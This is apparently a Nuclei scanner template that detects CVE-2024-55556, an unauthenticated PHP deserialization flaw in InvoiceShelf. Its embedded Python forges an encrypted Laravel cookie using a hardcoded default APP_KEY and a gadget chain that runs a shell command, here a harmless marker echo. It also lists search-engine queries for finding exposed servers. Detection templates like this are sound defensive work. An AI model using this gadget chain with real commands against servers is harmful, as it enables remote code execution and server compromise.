id: CVE-2024-55556 info: name: InvoiceShelf <= 1.3.0 - PHP Deserialization author: iamnoooob,rootxharsh,pdresearch severity: critical description: | InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup. impact: | Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers. remediation: | Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value reference: - https://www.synacktiv.com/en/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known - https://github.com/rapid7/metasploit-framework/pull/19950 - https://nvd.nist.gov/vuln/detail/CVE-2024-55556 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-55556 cwe-id: CWE-502 epss-score: 0.44126 epss-percentile: 0.98627 metadata: verified: true max-request: 2 shodan-query: 'http.title:"InvoiceShelf"' fofa-query: 'title="InvoiceShelf"' tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln variables: marker: "{{randstr}}" marker_b64: "{{base64(marker)}}" APP_KEY: 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=' # default hardcoded key flow: | code(); http(); code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | import base64 import json import hashlib import hmac import os import urllib.parse, requests from Crypto.Cipher import AES import requests,re request1=requests.get(os.getenv('RootURL')+'/login') cookies=request1.headers['Set-Cookie'] laravel_session_match = re.search(r"laravel_session=(.*?);", cookies) laravel_session_value = laravel_session_match.groups()[0] random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies) random_cookie_name, random_cookie_value = random_cookie_match.groups() valid_app_key=os.getenv('APP_KEY') def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode): decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8') parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000') session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}" return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode) def retrieve_key(key): if key.startswith("base64:"): return base64.b64decode(key.split(":")[1]) elif len(key) == 44: return base64.b64decode(key) else: return key.encode('utf-8') def laravel_encrypt(value_to_encrypt, key, cipher_mode): key = retrieve_key(key) iv = os.urandom(16) # Generate a random 16-byte IV encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode) tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip() # Base64-encode the IV b64_iv = base64.b64encode(iv).decode().strip() # Prepare data for output data = { "iv": b64_iv, "value": tmp_bytes, "mac": generate_mac(key, b64_iv, tmp_bytes), "tag": "" # Assuming empty tag } # Return the final encrypted value as Base64-encoded JSON return base64.b64encode(json.dumps(data).encode()).decode() def aes_encrypt(value, iv, key, cipher_mode): cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode pad_length = 16 - (len(value) % 16) padded_value = value + bytes([pad_length] * pad_length) return cipher.encrypt(padded_value) def generate_mac(key, iv, value): return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest() def generate_laravel_payload(pl, pl_len): laravel_payload = ( f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";' f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";' f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";' f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}' f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}' ) # Base64 encode the payload b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode() return b64_laravel_payload def laravel_decrypt(laravel_cipher, key, cipher_mode): data = parse_laravel_cipher(laravel_cipher) key = retrieve_key(key) try: return aes_decrypt(data['value'], data['iv'], key, cipher_mode) except Exception: print("Your key is probably malformed or incorrect.") # Equivalent to vprint_error return None def parse_laravel_cipher(laravel_cipher): laravel_cipher = urllib.parse.unquote(laravel_cipher) # Decoding URL-encoded string try: data = json.loads(base64.b64decode(laravel_cipher).decode()) except json.JSONDecodeError: print("The JSON inside your base64 is malformed.") # Equivalent to vprint_error return None except Exception: print("Your base64 laravel_cipher value is malformed.") # Equivalent to vprint_error return None try: data['value'] = base64.b64decode(data['value']) data['iv'] = base64.b64decode(data['iv']) except Exception: print("Error decoding base64 values in the cipher data.") return None return data def aes_decrypt(encrypted_value, iv, key, cipher_mode): cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode decrypted = cipher.decrypt(encrypted_value) # Remove PKCS7 padding pad_length = decrypted[-1] return decrypted[:-pad_length].decode('utf-8', errors='ignore') unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC')) # Example values (Replace these with real values) pl = "echo " + os.getenv('marker_b64') + " | base64 -d" pl_len = len(pl) cipher_mode = "CBC" # Assuming CBC mode # Generate the Base64 encoded Laravel payload b64_laravel_payload=generate_laravel_payload(pl, pl_len) # Extract the hash value from unciphered_value hash_value = unciphered_value.split('|')[0] # Encrypt the Laravel cookie laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode) print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D')) http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} Cookie: {{code_response}} matchers-condition: and matchers: - type: word part: body words: - "{{marker}}" - 'Illuminate/Database/DatabaseManager.php' # only matches in Debug mode - type: status status: - 500 # digest: 4b0a004830460221008d45198f2569eea0f1ae534004e30ea329f502c399343619176211ccf74df839022100ce3b05ec41d0c8a944d36576bf9438898ee135c7e8fa9a321973a1723ec352da:922c64590222798bb761d5b6d8e72950